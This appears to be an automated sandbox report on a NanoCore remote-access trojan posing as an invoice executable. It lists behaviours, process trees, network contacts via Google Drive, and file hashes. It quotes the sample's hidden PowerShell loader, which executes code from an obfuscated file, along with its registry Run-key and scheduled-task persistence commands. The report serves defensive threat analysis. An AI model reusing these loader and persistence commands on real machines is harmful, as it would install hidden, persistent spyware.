Malware Analysis Report

2024-10-19 07:05

Sample ID 240808-xfa54a1elg
Target PI_2024088_09272537_981672-HTE025783927.exe
SHA256 d03270724cdd652a3c7463024b13b1d25440428a9dadd050424c9ff93a365c53
Tags
nanocore discovery execution keylogger persistence spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d03270724cdd652a3c7463024b13b1d25440428a9dadd050424c9ff93a365c53

Threat Level: Known bad

The file PI_2024088_09272537_981672-HTE025783927.exe was found to be: Known bad.

Malicious Activity Summary

nanocore discovery execution keylogger persistence spyware stealer trojan

NanoCore

Command and Scripting Interpreter: PowerShell

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Program Files directory

System Location Discovery: System Language Discovery

Program crash

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Modifies registry key

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Scheduled Task/Job: Scheduled Task

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 18:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 18:47

Reported

2024-08-08 18:50

Platform

win7-20240708-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"

Signatures

NanoCore

keylogger trojan stealer spyware nanocore

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kanonfdens = "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\\Monorhine209\\').Formaliteternes;%Bassinernes% ($Inaugurations)" C:\Windows\SysWOW64\reg.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ARP Manager = "C:\\Program Files (x86)\\ARP Manager\\arpmgr.exe" C:\Program Files (x86)\windows mail\wab.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2444 set thread context of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\ARP Manager\arpmgr.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\Program Files (x86)\ARP Manager\arpmgr.exe C:\Program Files (x86)\windows mail\wab.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 816 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 816 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 816 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 816 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2444 wrote to memory of 2340 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2340 wrote to memory of 2780 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2340 wrote to memory of 2780 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2340 wrote to memory of 2780 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2340 wrote to memory of 2780 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2780 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2780 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2780 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2780 wrote to memory of 2804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2340 wrote to memory of 2848 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 2848 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 2848 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 2848 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 872 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 872 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 872 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe
PID 2340 wrote to memory of 872 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\schtasks.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe

"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$monopolizer=Get-Content 'C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr';$Geochemist11=$monopolizer.SubString(52658,3);.$Geochemist11($monopolizer)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kanonfdens" /t REG_EXPAND_SZ /d "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\Monorhine209\').Formaliteternes;%Bassinernes% ($Inaugurations)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Kanonfdens" /t REG_EXPAND_SZ /d "%Bassinernes% -windowstyle minimized $Inaugurations=(Get-ItemProperty -Path 'HKCU:\Monorhine209\').Formaliteternes;%Bassinernes% ($Inaugurations)"

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /create /f /tn "ARP Manager" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3EA8.tmp"

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /create /f /tn "ARP Manager Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3F16.tmp"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
NL 172.217.168.206:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
NL 142.250.179.131:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
NL 142.250.179.131:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
NL 142.250.179.129:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.18.190.71:80 crl.microsoft.com tcp

Files

memory/2444-10-0x0000000074481000-0x0000000074482000-memory.dmp

memory/2444-11-0x0000000074480000-0x0000000074A2B000-memory.dmp

memory/2444-12-0x0000000074480000-0x0000000074A2B000-memory.dmp

memory/2444-13-0x0000000074480000-0x0000000074A2B000-memory.dmp

memory/2444-14-0x0000000074480000-0x0000000074A2B000-memory.dmp

C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr

MD5 0555a0781d413ef9d55ae5cf7889c536
SHA1 9505dc0689854f33d4124d81733aeb2cd2436327
SHA256 ee9ed3183437cabff4add4da2238f6ca2972d7a7257545315e60aafaf90fec4b
SHA512 1d7a9ea5cab36b4d598f3c448cf8bb1640b7a5e7d962d849b235e7b42523f91b98c6759b2d3d205424f97937bf90a3d0eaa082d845f2b34cad49e160e6df3d49

memory/2444-17-0x0000000074480000-0x0000000074A2B000-memory.dmp

C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Makropakker.For

MD5 bdb605ac3e6759f2b3d4119bfa041a1b
SHA1 4fe994f73b67e65993371a04f2f30ab9d36ebf39
SHA256 67bb984b9bbd27346237b248ba932f27db8334248a83505498ce84243b6d831d
SHA512 ce3cc235df644eb9232488a1d9b1b11ac579c2b793cc1971609fa8daea1116447274560191dd001d6ab458d87dcc36588dccbbf03dc48c08f8741f9b6ec1156d

memory/2444-19-0x0000000074480000-0x0000000074A2B000-memory.dmp

memory/2444-20-0x0000000006650000-0x000000000977E000-memory.dmp

memory/2444-21-0x0000000074480000-0x0000000074A2B000-memory.dmp

memory/2340-41-0x0000000000720000-0x0000000001782000-memory.dmp

memory/2340-42-0x0000000000720000-0x0000000001782000-memory.dmp

memory/2340-44-0x0000000000720000-0x000000000075A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp3EA8.tmp

MD5 5ccc18c3f1852b87de26278cba055c13
SHA1 9233db8c004ac3e1b34c0782bac706a17bdc43ae
SHA256 7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432
SHA512 1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7

C:\Users\Admin\AppData\Local\Temp\tmp3F16.tmp

MD5 b6fc28b9f341812fc919e0d4c5ac0941
SHA1 d49341ec5a78189830dbf64b2bb553d0fbe06e88
SHA256 2aacf4d9629bbec978f5a9ecfe8009cd18cfb5dbde09507937e0aaa13b1aeaba
SHA512 166ece1d42a5f438142bc5df5f34b30ee17de5844383bb7517200ee77d77b1b8096e963739cc9188602742984d2e1dc8bc9788d8ae12010e5a05415676e29fdf

memory/2340-52-0x00000000201C0000-0x00000000201CA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 18:47

Reported

2024-08-08 18:50

Platform

win10v2004-20240802-en

Max time kernel

95s

Max time network

97s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe

"C:\Users\Admin\AppData\Local\Temp\PI_2024088_09272537_981672-HTE025783927.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$monopolizer=Get-Content 'C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr';$Geochemist11=$monopolizer.SubString(52658,3);.$Geochemist11($monopolizer)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2776 -ip 2776

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2776 -s 2128

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 40.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/2776-8-0x000000007334E000-0x000000007334F000-memory.dmp

memory/2776-9-0x0000000000FA0000-0x0000000000FD6000-memory.dmp

memory/2776-10-0x0000000004FB0000-0x00000000055D8000-memory.dmp

memory/2776-11-0x0000000073340000-0x0000000073AF0000-memory.dmp

memory/2776-12-0x0000000004D50000-0x0000000004D72000-memory.dmp

memory/2776-15-0x00000000056C0000-0x0000000005726000-memory.dmp

memory/2776-14-0x0000000005650000-0x00000000056B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d33ali4h.vo5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2776-13-0x0000000073340000-0x0000000073AF0000-memory.dmp

memory/2776-25-0x00000000057B0000-0x0000000005B04000-memory.dmp

memory/2776-26-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

memory/2776-27-0x0000000005DC0000-0x0000000005E0C000-memory.dmp

memory/2776-28-0x0000000006D40000-0x0000000006DD6000-memory.dmp

memory/2776-29-0x00000000062C0000-0x00000000062DA000-memory.dmp

memory/2776-30-0x0000000006310000-0x0000000006332000-memory.dmp

memory/2776-31-0x0000000007390000-0x0000000007934000-memory.dmp

C:\Users\Admin\AppData\Roaming\spidskandidater\tidsbegrnsningen\Poolene.Dyr

MD5 0555a0781d413ef9d55ae5cf7889c536
SHA1 9505dc0689854f33d4124d81733aeb2cd2436327
SHA256 ee9ed3183437cabff4add4da2238f6ca2972d7a7257545315e60aafaf90fec4b
SHA512 1d7a9ea5cab36b4d598f3c448cf8bb1640b7a5e7d962d849b235e7b42523f91b98c6759b2d3d205424f97937bf90a3d0eaa082d845f2b34cad49e160e6df3d49

memory/2776-33-0x0000000007FC0000-0x000000000863A000-memory.dmp

memory/2776-35-0x0000000073340000-0x0000000073AF0000-memory.dmp